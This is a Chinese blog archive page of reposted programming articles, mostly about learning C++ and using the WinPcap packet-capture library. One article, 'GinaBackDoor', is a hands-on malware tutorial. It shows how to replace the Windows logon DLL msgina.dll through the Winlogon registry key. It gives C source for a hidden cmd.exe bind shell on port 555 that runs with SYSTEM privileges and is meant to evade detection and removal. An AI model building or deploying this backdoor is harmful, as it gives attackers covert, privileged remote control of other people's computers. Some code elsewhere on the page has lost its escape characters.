按日归档: 2007/04/16

[转]牛人十个月自学C++ 现在做C#开发工作 好像蛮好玩

我从去年11月份开始自学C++(本人现在做C#开发),现在把我这10来个月学习体会写出来和大家分享。

  1。关于要不要学习C++?(结论:要学,一定要学!)

  如今在网上很多为要不要学C++争的不可开交,因为现在JAVA,C#,。NET都炒的很火,特别是JAVA,大有炸平庐山,停止地球转动之势。用林锐同志的话说,其实JAVA只是C++外甥,跑到舅舅身上撒了一泡尿而已。首先,我们从JAVA 的来历上来说,JAVA的设计初衷是用来给家用电器设计程序使用的,最初设计者想用C++,但觉得C++太复杂,就在C++的基础上做了一些简化,设计出了JAVA,它的设计思想是跨平台,所以必须先在运行平台上安装虚拟机,然后把源程序编译成中间语言在运行。这是一个优点,但我们说任意优点都是建立在缺点上的,JAVA的缺点就是运行速度慢,这对于某些系统来说是致命弱点。况且,JAVA中没有指针,对于制作系统软件来说,这更是无法饶恕的。再来看C++。C++产生于美国贝尔实验室,就是发明电话那个公司。设计初衷是用来改进C的开发效率,C是面向过程的语言,开发效率底,贝尔实验室有大量的C程序员,所以只要在开发效率上提高一点点,就可以节约数目庞大的成本。C是什么东西?是用来代替汇编编写操作系统的语言,用C++代替C,可以得出两个结论:第一,C++必须具有同C相当的执行速度;第二,C++必须比C具有较高的开发效率。执行速度方面,C++的设计者的思想就是在改进开发效率的同时尽量不增加C++的系统开销,当然有些地方非增加开销不可,也把开销控制在最小程度内。具非权威研究报告,C++比C的执行开销多出不到10%。开发效率方面,C++引进了面向对象机制,库机制,最大程度上实现了代码重用,这是软件开发人员的福音。C++在改进C的开发效率的同时,对C的缺陷做了一些修补。C的优点在C++中都得到了很好的保留,C的缺点在C++中都有了改进,有了更好的解决办法。而且,为了现有的大量C程序维护,C++还全面兼容了C。纵观当今程序语言家族,我觉得只有C可以C++相提并论,门当户对,其它语言都无法和C++相提并论。无论从什么角度来说,C++都算的上语言中的老大。

  如今,网上有很多关于C++的争论,其实争论的人都是一些不知情的人,绝大多数是学校里的学生,我也曾经这样。在学校里的时候,不知道究竟应该学习什么,要是遇到好的老师还可以,遇到垃圾老师,垃圾学校那就更糟糕。如今,什么MCSE,CCNA,CIW等等认证漫天飞,把人搞的昏头昏脑,其实这都是认证公司炒的。社会上需要的是有真才实学的人,而不是需要证书。

  我从大二开始学习编程,一开始学习VB,后来学习DELPHI,再后来学习C#,再后来学习C++,绕了个大圈子,最后还是绕回来了。而且重新学习数据结构,操作系统,学习软件工程,学习大学本科的基本课程,重新读外国的程序设计名著,而这些以前在大学是不屑一顾的。劝如今还在学校的师弟师妹们,努力学习C++。

  2。为什么要学习学习C++

  1)C++的程序员身价普遍较高,当然,前提是你必须是高手。我所在的城市,那些公司根本就招不到合格的C++程序员,一方面C++程序员要求高,学习C++的人越来越少了。当然,怀着这个目的,你或许永远无法成为C++高手,但我把这个原因放在最前面,可以给大家一个很明确的激励,当你接触C++后,发现从学习中获得乐趣比高的工资更有动力;

  2)C++的优势是用来开发大型软件,从中可以学到很多优秀的软件设计思想。C++不是软件开发的首选工具,一般说来,大多人更愿意学习和使用VB,为什么,简单。简单的另一个方面是功能的局限。微软公司恨不的所有人都学VB,只有他一家会C++。容易上手,大家都喜欢学,喜欢用,很多人拿一本200页的书,看个两三个星期,就觉得自己是个程序员了,可以开发软件了,而且觉得做出来的东西很不错。当软件规模大到一定程度的时候,其他语言就越来越无法驾驭,这时C++的优势就体现出来了。你说做个成绩管理系统,人事查询系统,用VB,DELPHI,C#,JAVA都行,但是例如银行,电信,保险,操作系统,数据仓库,图形处理,编译系统,较底层的软件时,其他工具几乎是无法完成的。就说C++的指针,JAVA没有,在遇到数据量交大的数据排序,搜索,动态内存分配时,它就没有办法了。所以说,学习C++,不仅仅是学到的一种语言,还学习了优秀的软件设计思想。

  3)学习C++可以学习到计算机底层的理论,即使不是用C++开发,对计算机运行机制的理解,对建制稳定的系统,对运用其他语言,也是一种促进。这一点,我是在学习过程中体会到的,所以,要说出个大家可以接受的理由来较难,大家以后学习就知道了。

  3。怎样学习C++?

  首先,我们必须承认,学习要讲究方法,有捷径。其次,我们还得承认,学习要下苦功,要务实。上小学的时候,书上有个故事,是关于王羲之学习书法的:王献之问他父亲王羲之,学习书法的秘诀是什么,他父亲把他带到后院,指着18口大水缸说,你如果把这里的水都写完了,就知道书法的秘诀在那里了。这个故事相信很多人都还记得。前几天看梁肇新(豪杰公司老板)的《高手箴言》,他说如果你如果愿意利用5年时间来成为高手,那么你只要两三年就会成为高手,如果你想一年成为高手,那么你5年也成不了高手。学习要切忌浮躁,要脚踏实地。我曾经很浮躁,结果一直呆在菜鸟堆里,当半年前我静下心来学习C++,才感觉有真正的进步。现在做WEB开发,虽然我从来不看WEB开发的书,但是我的同事遇到问题时,我经常能一下说出问题的所在。因为你看问题的角度变了。所以,学习C++的第一个方法是:切忌浮躁。其实学任何东西都一样,欲速则不达。从基本数据类型看起,从基本流程控制语句写起。

  其次,教材很重要,要看经典名著

Read: 603

[转]关于winpcap的一些认识

关于winpcap的一些认识关于winpcap的一些认识

                                                                         Bill yuan

                                                                                                          2004-9-29

一.Winpcap简介

       Winpcap是UNIX下的libpcap移植到windows下的产物,他是一个free and open source的项目。Winpcap工作于驱动(Driver)层,所以能以很高的效率进行网络操作。

       Winpcap提供了以下强大的功能:

1.捕获原始的数据包

2.设置filter,只捕获自己敢兴趣的数据包

3.方便的把捕获的数据包输出到文件和从文件输入

4.发送原始的数据包

5.统计网络流量

6.…..(其它还有很多,我不知道了)

二.Winpcap的安装使用方法

       1.到http://winpcap.polito.it下载winpcap的安装包,程序员开发包。

     2.执行安装包,这样你的机子就能运行winpcap程序了

     3.解压开发包,在VC的option的include和lib中加入winpcap的

include和lib

4. 在你的程序中加入#include <pcap.h>, #include <remote-ext.h>.然后在工程的setting中加入预定义宏:WPCAP,HAVE_REMOTE.导入wpcap.lib库

     5.就可以编写wpcap程序了

三.Winpcap的一些基本的功能的实现

     一)捕获数据包

              1.    枚举所有的可用的设备[pcap_findalldevs_ex](可选)

              2.    通过名字打开一个设备[pcap_open()]

在这里可以打开一个文件,只是在打开这个文件之前需要通过pcap_createsrcstr创建相应的name string

3.        设置Filter[pcap_compile, pcap_setfilter] (可选)

4.        捕获数据

有几种捕获数据的方法(捕获数据的数据都是最原始的数据包,即包含数据链路层的数据头)

a. 是以回调的方式[ pcap_loop,pcap_dispatch() ].

这两种方法基本相同,底层收集数据包,当满足一定的条件(timeout 或者缓冲区满),就会调用回调函数,把收集到的原始数据包s,交给用户。他们返回的数据缓冲区包含多个包

b.     pcap_next_ex()的方式

每当一个包到到达以后,pcap_next_ex就会返回,返回的数据缓冲区里只包涵一个包。

       二)发送包

              Winpcap中有发送单个包和发送多个包的方法。这里只说说发送单个包

1. 通过名字打开一个设备[pcap_open]

2. 自己构造一个原始数据包(这个数据包会不经过任何处理就发送出去,所以必须把包中的各个字段设置好。另外这个数据包是包含数据链路层报头的)

3. 使用pcap_sendpacket()发送数据包

三)统计网络流量

1. 通过名字打开一个设备[pcap_open]

     通过 read_timeout来设置统计的时间间隔

2. 设置filter[pcap_compile, pcap_setfilter] (可选)

3. 设置设备的为统计模式[ pcap_setmode(MODE_STAT);]

4. 开始统计,pcap_loop/pcap_dispatch()

5.在回调函数中的参数中就包含了统计信息,如下图:

     

   

四. 总结

这些东西都是我在学习winpcap的过程中的一些经验和总结。由于我学习winpcap的时间很匆忙,只是按照step by step guide来学习的,所以我对于winpcap的理解也就只能局限与此,希望能在以后有机会深入学习

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//下面是一个应用winpcap写的一个网络流量统计的例子,

// nettraffic.cpp : Defines the entry point for the console application.

//

#include "stdafx.h"

#include <pcap.h>

#include <remote-ext.h>

#include <iostream>

#include <winsock2.h>

using namespace std;

//————————————————————————

//————————————————————————

void dispatcher_handler(u_char* user_data, const struct pcap_pkthdr * pkthdr, const u_char *pktdata);

//————————————————————————

int main(int argc, char* argv[])

{

       int                                       i;

       pcap_if_t*                          alldevs;

       pcap_if_t*                          dev;

       char                             errorbuf[PCAP_ERRBUF_SIZE];

       int                                       choice;

       pcap_t*                              stathandle;

       WSADATA                              wsadata;

       struct timeval               timestamp;

     

       if( WSAStartup( MAKEWORD(2,2), &wsadata) != 0 )

       {

              cerr<<"WSAStartup failed [ "<<WSAGetLastError() <<" ]"<<endl;

              return (-1);

       }

     

       //enum all device

       if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &alldevs, errorbuf ) == -1 )

       {

              WSACleanup();

              cerr<<"pcap_findalldevs_ex failed! ("<<errorbuf<<")"<<endl;

              return (-1);

       }

     

       for( i=0,dev = alldevs; dev != NULL; dev = dev->next )

       {

              cout<<++i<<‘t'<<dev->name<<endl;

       }

     

       if( i== 0 )

       {

              WSACleanup();

              cerr<<"no device found!"<<endl;

              return (-2);

       }

     

       //let user choice

       while( 1)

       {

              cout<<"please choice a device:";

              cin>>choice;

              if( choice >= 1 && choice <=i )

                     break;

            

              cerr<<"input error, you shall choice a device from upon list"<<endl;

       }

     

       //move to the choice device

       for( i=0, dev = alldevs; i<choice-1; i++,dev = dev->next );

       if( (stathandle = pcap_open( dev->name,

                                                        100,

                                                        PCAP_OPENFLAG_PROMISCUOUS,

                                                        500,

                                                        NULL, errorbuf ) ) == NULL )

       {

              cerr<<"open device failed! [device:"<<dev->name<<"] "

                     <<errorbuf<<endl;

            

              pcap_freealldevs( alldevs );

              WSACleanup();

              return (-3);

       }

     

       cout<<"is Stat "<<dev->name<<" …"<<endl;

       pcap_freealldevs( alldevs );

     

       pcap_setmode( stathandle, MODE_STAT );

       timestamp.tv_sec = 0;

       timestamp.tv_usec = 0;

       pcap_loop( stathandle, 0, dispatcher_handler,(unsigned char*)&timestamp );

       pcap_close( stathandle );

       return 0;

}

//————————————————————————

void dispatcher_handler(u_char* user_data, const struct pcap_pkthdr * pkthdr, const u_char *pktdata)

{

       static struct timeval       tstamp = *( (struct timeval*)user_data );

       LARGE_INTEGER                  Bps,Pps;

       unsigned long               delay;

       char                             strtime[32];

     

       delay = (pkthdr->ts.tv_sec – tstamp.tv_sec)*1000000 – tstamp.tv_usec + pkthdr->ts.tv_usec;

     

       Pps.QuadPart = ((*(LONGLONG*)(pktdata)) * 1000000 ) / delay;

       Bps.QuadPart = ((*(LONGLONG*)(pktdata + 8)) * 1000000 ) / delay;

       struct tm* ltime = localtime( &(pkthdr->ts.tv_sec) );

       strftime( strtime, sizeof(strtime),"%H:%M:%S", ltime);

     

       printf("%s:", strtime );

       printf("tPps=%I64utBps=%I64urn",Pps.QuadPart,Bps.QuadPart);

     

       tstamp = pkthdr->ts;

}

Read: 582

WinPcap 教程

原文出处:http://winpcap.polito.it/docs/man/html/index.html
作者:
Loris Degioanni (degioanni@polito.it), NetGroup, Politecnico di Torino
http://winpcap.polito.it
概述:
这 篇教程将会指引读者逐步了解WinPcap编程, 从简单的基础函数(获取网络接口列表, 捕捉数据包)到更高级的内容(处理发送队列, 网络流量统 计). 教程中包括一些代码片断, 以及一些简单但完整的例子, 读者可以参考这些例子更好的理解教程的内容. 这些例子全部用C语言写成, 所以基本的 C语言编程知识是必要. 同时, 因为这篇教程的内容是与底层网络紧密相连的, 所以笔者假设读者已经具备有关网络和协议的相关知识.
译者的话:
WinPcap 是一套免费的, 基于Windows的网络接口API, 它在底层网络操作方面对程序员很有帮助. 这篇文档翻译自 "WinPcap Documentation 3.0" 中的 "WinPcap tutorial: a step by step guide to program WinPcap" 一部分. 这篇教程对初学者的帮助很大, 尤其是简短清晰的例 子, 但这篇教程只是整个文档的一小部分, 我认为你仍然需要参考文档的其它部分来了解各种结构等信息. 教程中注有前缀 "Y-" 的部分是译者为了让 读者更明白作者的意思添加的, 原文中没有.
1. 获取网络接口列表
通常, 一个基于WinPcap的应用程序所要做的第一件 事, 就是获得适合的网络接口的列表. Libpcap中的pcap_findalldevs()函数就是干这活的: 这个函数然回一个pcap_if结 构的列表, 每个元素都记录了一个接口的信息. 其中, name和description以人类可以阅读的形式, 记录了设备的信息.
下面的源代码输出可用的网络接口的列表, 并且在没有找到任何借口的情况下输出错误信息:

代码  
#include "pcap.h"
main()
{
pcap_if_t *alldevs;
pcap_if_t *d;
int i=0;
char errbuf[PCAP_ERRBUF_SIZE];
/* 取得列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %sn", errbuf);
exit(1);
}
/* 输出列表 */
for(d=alldevs;d;d=d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)n", d->description);
else
/* Y- 没有有效的描述 */
printf(" (No description available)n");
}
if(i==0)
{
/* Y- 没有有效的接口, 可能是因为没有安装WinPcap */
printf("nNo interfaces found! Make sure WinPcap is installed.n");
return;
}
/* 我们不再需要列表了, 释放 */
pcap_freealldevs(alldevs);
}

我们来看看这段代码.
首 先, 和其他的libpcap函数一样, pcap_findalldevs(), 有一个错误缓冲区(errbuf)参数. 这个参数是一个字符串指 针, 一旦发生错误,libpcap将会在这里填入错误描述. 然后, 请注意, pcap_findalldev系统下的s()函数同时也被UNIX下 的libpcap所支持, 但是并不是所有的操作系统都支持“网络接口描述”(description)这一项. 所以, 如果我们想写一个可以移植的的 应用程序,那么我们必须要为描述为“空”(null)的情况做好准备:遇到这种情况我们就输出一个“没有有效的描述”的消息.
最后我们通过pcap_freealldevs()函数来释放接口列表.
现在让我们编译并运行我们的第一个WinPcap程序. 如果你使用UNIX或者Cgywin的话, 你只需要以下命令:
gcc -o testaprog testprog.c -lpcap
在Windows环境中(Y – 如果你使用Microsoft Visual C++), 你需要建立一个工程, 按照"Using WinPcap in your programs " 一节中说明来做.
不过, 我仍然建议你参照Winpcap开发者包(WinPcap developer’s pack)中的例子, 那些例子包括了所以配置完善的工程, 以及全部你所需要的库和包含文件.
(Y – 你可以在本章最后找到Microsoft Visual C++ 的配置方法)
假设现在你已经成功编译了程序, 我们就来运行它. 在我的WinXP工作站上, 输出结果是:
1. {4E273621-5161-46C8-895A-48D0E52A0B83} (Realtek RTL8029(AS) Ethernet Adapter)
2. {5D24AE04-C486-4A96-83FB-8B5EC6C7F430} (3Com EtherLink PCI)
就如你所看到的, 网络接口的名称(当打开这个接口时, 需要传递这个名称给libpcap库)在windows环境下几乎是没有办法读懂的(Y-严重同意), 所以输出一个描述对于你的用户来说是非常有帮助的.

附注: Microsoft Visual C++ 工程的设置
1. 下载并安装 WinPcap, 推荐的版本是3.0
2. 从 http://winpcap.polito.it 下载 WinPcap Developer’s Pack 并解压缩
3. 用 Microsoft Visual C++ 建立一个空工程 (empty project)
4. 复制源代码
5. 把 Winpcap Developer’s Pack 中的 Includes 目录添加为新的包含文件目录
6. 添加库 wpcap.lib 和 wsock32.lib
原文出处:http://winpcap.polito.it/docs/man/html/index.html
作者:
Loris Degioanni (degioanni@polito.it), NetGroup, Politecnico di Torino
http://winpcap.polito.it
2. 获取设备的高级信息
上 一课我们介绍了如何获取一个设备的基本信息(比如设备名称和设备描述). 实际上, WinPcap 也可以为我们提供关于接口的更多信息. 由 pcap_findalldevs() 函数返回的 pcap_if 结构也包含了一个 pcap_addr 结构的列表, 它记录了以下信息:
1. 接口的地址列表
2. 接口的掩码列表 (与地址列表一一对应)
3. 接口的广播地址列表 (与地址列表一一对应)
4. 目标地址列表 (与地址列表一一对应)
下面例子中的 ifprint() 函数将会输出 pcap_if 结构的全部内容. 它包括了 pcap_findalldevs() 函数所返回的所有元素. ( Y- 全部有效接口)

代码  

/*
* Copyright (c) 1999 – 2002
* Politecnico di Torino. All rights reserved.

Read: 768

自己打造GinaBackDoor

前言
“马”玩了不少,不过玩得都是别人写的,总感觉不是很爽。何不自己打造一个属于自己BackDoor呢?!
既然是后门,当然是不能被轻易发现的,这是首要的一条。在WIN2K和XP下进程隐藏可以有DLL加载、远程注入等几种方式。我们今天采用虽然还是属于常见的DLL加载类型。不过这次是替换掉系统的核心DLL,如果强行删除的话……呵呵,下次启动就不正常了。
Socket:毒啊毒!比“独行者”还毒!

前置知识
首先来介绍下Gina在windows中的作用:WinNT、Win2K等在进入用户shell前都有一个身份验证的过程。这个过程就是由Gina完成 的,Gina除了验证用户身份以外还要提供图形登陆界面。系统默认的Gina是msgina.dll,在系统目录system32下可以找到。微软除了提 供默认的Gina还允许自定义开发Gina以替换掉msgina.dll来实现自己的一些认证方式,这就为我们打造后门提供了条件!
要替换掉系统默认加载的msgina.dll很简单,只要编辑注册表在HKEY_LOCAL_MACHINESOFTWAREMicrosoft Windows NTCurrentVersionWinlogon项下加入一个类型为REG_SZ,名为GinaDLL的键值,数据填写我们替换的GinaDLL的 名字就OK了。例如:
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]
"GinaDLL"="ginadll.dll"(ginadll.dll就是我们用来替换的Gina)。

在我们自己的DLL中只要邦定一个SHELL,其他的直接调用msgina.dll就行了。说直接一点就是安装 一个中间层,使其达到一个后门的目的。Gina是加载到winlogin进程中的,winlogin是系统的用户交互登陆进程,具有SYSTEM权限,理 所当然我们的后门也有SYSTEM权限,这对于后门来说是再好不过了。

实现过程
由于我们一共要替换15个Gina函数,全部写出来会相当大。这里就选几个重要部分做示范,其他的只需直接往下一层的msgina.dll调用就行了,详细请参考完整源代码。
typedef BOOL (WINAPI *PFUNCWLXNEGOTIATE)( DWORD, DWORD* );
typedef BOOL (WINAPI *PFUNCWLXINITIALIZE)( LPWSTR, HANDLE, PVOID, PVOID, PVOID* );
typedef VOID (WINAPI *PFUNCWLXDISPLAYSASNOTICE)( PVOID );
typedef int (WINAPI *PFUNCWLXLOGGEDOUTSAS)( PVOID, DWORD, PLUID, PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID *);
typedef BOOL (WINAPI *PFUNCWLXACTIVATEUSERSHELL)( PVOID, PWSTR, PWSTR, PVOID );
typedef int (WINAPI *PFUNCWLXLOGGEDONSAS)( PVOID, DWORD, PVOID );
typedef VOID (WINAPI *PFUNCWLXDISPLAYLOCKEDNOTICE)( PVOID );
typedef int (WINAPI *PFUNCWLXWKSTALOCKEDSAS)( PVOID, DWORD );
typedef BOOL (WINAPI *PFUNCWLXISLOCKOK)( PVOID );
typedef BOOL (WINAPI *PFUNCWLXISLOGOFFOK)( PVOID );
typedef VOID (WINAPI *PFUNCWLXLOGOFF)( PVOID );
typedef VOID (WINAPI *PFUNCWLXSHUTDOWN)( PVOID, DWORD );
typedef BOOL (WINAPI *PFUNCWLXSCREENSAVERNOTIFY)( PVOID, BOOL * );
typedef BOOL (WINAPI *PFUNCWLXSTARTAPPLICATION)( PVOID, PWSTR, PVOID, PWSTR );
typedef BOOL (WINAPI *PFUNCWLXNETWORKPROVIDERLOAD) (PVOID, PWLX_MPR_NOTIFY_INFO);

后门要用到的全局变量
//管道
HANDLE hStdOut = NULL, hSRead = NULL;
HANDLE hStdInput = NULL, hSWrite = NULL;

//用来控制线程是否结束返回
BOOL bExit = FALSE;

//保存创建的CMD进程语柄
HANDLE hProcess = NULL;

//Winlogon进程最先调用的函数,用来检查Gina支持的winlogin版本
BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;

//取得msgina.dll中的WlxNegotiate函数入口
PFUNCWLXNEGOTIATE pWlxNegotiate = (PFUNCWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
if( !pWlxNegotiate )
return FALSE;

//往下层调用
return pWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
}

//为一个特别的窗口站初始化一个GinaDLL
BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;
PFUNCWLXINITIALIZE pWlxInitialize = (PFUNCWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );
if( !pWlxInitialize )
return FALSE;

//初始化windows socket的WS2_32.DLL
WSADATA WSAData;
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
return FALSE;

//同上往下调用
return pWlxInitialize( lpWinsta, hWlx, pvReserved,pWinlogonFunctions,
pWlxContext );
}

//Winlogon在没有用户登陆时接收到一个SAS事件调用这个函数
int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID *pProfile)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;
PFUNCWLXLOGGEDOUTSAS pWlxLoggedOutSAS = (PFUNCWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
if( !pWlxLoggedOutSAS )
return FALSE;
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
WaitForSingleObject(hmutex,INFINITE);

//后门的主线程开始
CreateThread(NULL,NULL,StartInit,NULL,NULL,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);

//调用下层的WlxLoggedOutSAS
int ret = pWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );
return ret;
}

//StartInit线程
DWORD WINAPI StartInit(PVOID lp)
{
SOCKET sock=NULL;

//建立一个TCP SOCKET
sock = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN addr_in = {0};
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(555); //端口号,可以自己改
addr_in.sin_addr.S_un.S_addr = htonl(INADDR_ANY);

//绑定到555端口
if(bind(sock,(sockaddr *)&addr_in,sizeof(sockaddr))==SOCKET_ERROR)
return 1;

//侦听
listen(sock,1);
sockaddr_in sin={0};
int size = sizeof(sin);
while ( TRUE )
{
//接受一个连接的请求返回一个SOCKET没有请求则一直阻塞
//在一个连接断开后又返回等待另外的连接
SOCKET recvSock=accept(sock,(sockaddr *)&sin,&size);
if ( recvSock == INVALID_SOCKET ) {
Sleep(1000);
continue;
}
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
WaitForSingleObject(hmutex,INFINITE);
//创建后门
HANDLE hThread = CreateThread(NULL,NULL,BackDoor,&recvSock,0,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);
//等待BackDoor线程结束。
WaitForSingleObject(hThread,INFINITE);
bExit = FALSE;
}
return 1;
}

//BackDoor线程
DWORD WINAPI BackDoor (LPVOID lp)
{

//用来设置管道可被子进程继承
SECURITY_ATTRIBUTES sa;
sa.bInheritHandle =TRUE;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;

//创建管道
CreatePipe ( &hSRead, &hStdOut, &sa, 0 );
CreatePipe ( &hStdInput, &hSWrite, &sa, 0 );
STARTUPINFO StartInfor = {0};
PROCESS_INFORMATION ProInfor = {0};

//重定向子进程的标准输入输出,为我们刚刚建立好的管道
StartInfor.cb = sizeof ( STARTUPINFO );
StartInfor.wShowWindow = SW_HIDE;
StartInfor.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
StartInfor.hStdOutput = StartInfor.hStdError = hStdOut;
StartInfor.hStdInput = hStdInput;

//取得CMD的完整路径
TCHAR SysDir[MAX_PATH] = {0};
GetSystemDirectory(SysDir,MAX_PATH);
if ( SysDir[strlen(SysDir)-1] != ‘\’)
strcat(SysDir,"\");
strcat(SysDir,"cmd.exe");
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
WaitForSingleObject(hmutex,INFINITE);

//创建CMD子进程
CreateProcess(NULL,SysDir,NULL,NULL,TRUE,NULL,NULL,NULL,&StartInfor,&ProInfor);
hProcess = ProInfor.hProcess;

//由于我们不对CMD的出入输出进行操作所以我们可以关闭
CloseHandle(hStdOut);
CloseHandle(hStdInput);
HANDLE hArray[2] = {0};

//创建一个接收命令线程和一个返回结果的线程
hArray[0] = CreateThread (NULL,NULL,RecvThread,&sock,NULL,NULL);
hArray[1] = CreateThread (NULL,NULL,SendThread,&sock,NULL,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);

//等待2个线程的结束
WaitForMultipleObjects(2,hArray,TRUE,INFINITE);
closesocket(sock);
return 1;
}

//RecvThread 线程
DWORD WINAPI RecvThread ( LPVOID lp)
{
SOCKET sock = *(SOCKET*)lp;
TCHAR CmdBuf[512] = {0}; //接收命令的Buf
int num = 0;
while ( TRUE )
{
if ( bExit == TRUE )
return 1;
TCHAR Tbuf[2] = {0};
int ret = recv(sock, Tbuf, 1, 0); //接收一个字符
if ( ret == 1 )
{
num++; //接收的字符记数
strcat(CmdBuf,Tbuf); //追加到CmdBuf中
send(sock,Tbuf,1,0); //回显
if ( Tbuf[0] == ‘n’ ) //如接收到回车
{
TCHAR buf[5] = {0};
DWORD A=0;
//写到管道中供CMD的标准输入读取
WriteFile(hSWrite,CmdBuf,num,&A,NULL);
memcpy ( buf, CmdBuf, 4);
//如果是exit命令设置线程结束标志
int ret = _stricmp (buf,"exit");
if ( ret == 0 )
bExit = TRUE;
memset(CmdBuf,0,512);
num=0;
}
}
else
{
//如果连接中断终止CMD进程
bExit = TRUE;
DWORD A=0;
GetExitCodeProcess(hProcess,&A);
TerminateProcess(hProcess,A);
}
}
return 1;
}

//SendThread 线程
DWORD WINAPI SendThread ( LPVOID lp )
{
SOCKET sock = *(SOCKET*)lp;
TCHAR Buf[512]={0};
DWORD ReadSize = 0;
while(TRUE)
{
if ( bExit == TRUE ) //如果结束标志为真线程返回
return 1;
//查看管道是否有数据可读
PeekNamedPipe(hSRead,Buf,512,&ReadSize,NULL,NULL);
//有就读取 没有就Sleep0.1s再次检查
if ( ReadSize > 0 )
ReadFile(hSRead,Buf,512,&ReadSize,NULL);
else
{
Sleep(100);
continue;
}
//把从管道读出来的数据发给客户端.
send (sock,Buf,ReadSize,0);
memset(Buf,0,512);
}
return 1;

Read: 859

Winpcap简介

译自WinPcap Developer’s pack ,3.0 alpha。ps:traffic generators这个名词怎样译?今天上不了国外网,暂时还查不到资料。

capture series 是今后陆续要写的系列,包括翻译文档,自己的开发经验,以及去年发现并已修改的Jpcap里的一个大bug(伪首部及检验和)。

————————————————————————————-

Winpcap是一个免费公开的软件系统。它用于windows系统下的直接的网络编程。
大多数网络应用程序访问网络是通过广泛使用的套接字。这种方法很容易实现网络数据传输,因为操作系统负责底层的细节(比如协议栈,数据流组装等)以及提供了类似于文件读写的函数接口。

但是有时,简单的方法是不够的。因为一些应用程序需要一个底层环境去直接操纵网络通信。因此需要一个不需要协议栈支持的原始的访问网络的方法。

winpcap适用于下面的开发者:
1.捕获原始数据包。不管这个包是发往本地机,还是其他机器之间的交换包。
2.在数据包被发送到应用程序之前,通过用户定义的规则过滤。
3.向网络发送原始数据包。
4.对网络通信量做出统计。

这些功能依赖于Win32系统内核中的设备驱动以及一些动态链接库。

Winpcap提供了一个强大的编程接口,它很容易地在各个操作系统之间进行移植,也很方便程序员进行开发。

什么样的程序需要使用Winpcap
很多不同的工具软件使用Winpcap于网络分析,故障排除,网络安全监控等方面。Winpcap特别适用于下面这几个经典领域:
1。网络及协议分析
2。网络监控
3。通信日志记录
4。traffic generators
5。用户级别的桥路和路由
6。网络入侵检测系统(NIDS)
7。网络扫描
8。安全工具

Winpcap有些方面不能做。它不依靠主机的诸如TCP/IP协议去收发数据包。这意味着它不能阻塞,不能处理同一台主机中各程序之间的通信数据。它只能“嗅探”到物理线路上的数据报。因此它不适用于traffic shapers,QoS调度,以及个人防火墙。

Winpcap内部结构
Winpcap是一个Win32平台下用于抓包和分析的系统。包括一个内核级别的packet filter,一个底层的DLL(packet.dll)和一个高级的独立于系统的DLL(Wpcap.dll)500){this.resized=true;this.style.width=500;}">

1。 捕获系统要能得到网络上原始传输数据必须绕过协议栈。这就需要一个模快运行于操作系统内核,与网络设备驱动接口直接打交道。这一部分极端依赖系统,也被认 为是一种设备驱动。现有版本有Windows 85,98,ME,NT 4,2000,Xp。这些驱动提供一些如数据包的捕获与发送这些基本功能,还提供一些高级的可编程的过滤系统和监控引擎。过滤系统可以约束只捕获特定的数 据包(比如,只捕获特定主机发送的FTP报文)。监控引擎提供了一种强大但简单的使用机制去获得网络通信的统计荷载数据。
2。捕获系统要让用户程序使用内核提供的功能必须要有一个编程接口。Winpcap提供了两个不同的库:packet.dll 和wpcap.dll。
packet.dll提供一个底层的API,通过这个API可直接访问网络设备驱动,而独立于Microsoft OS.
wpcap.dll是一个高层的强大捕获程序库,与Unix下的libpcap兼容。它独立于下层的网络硬件和操作系统。

Read: 755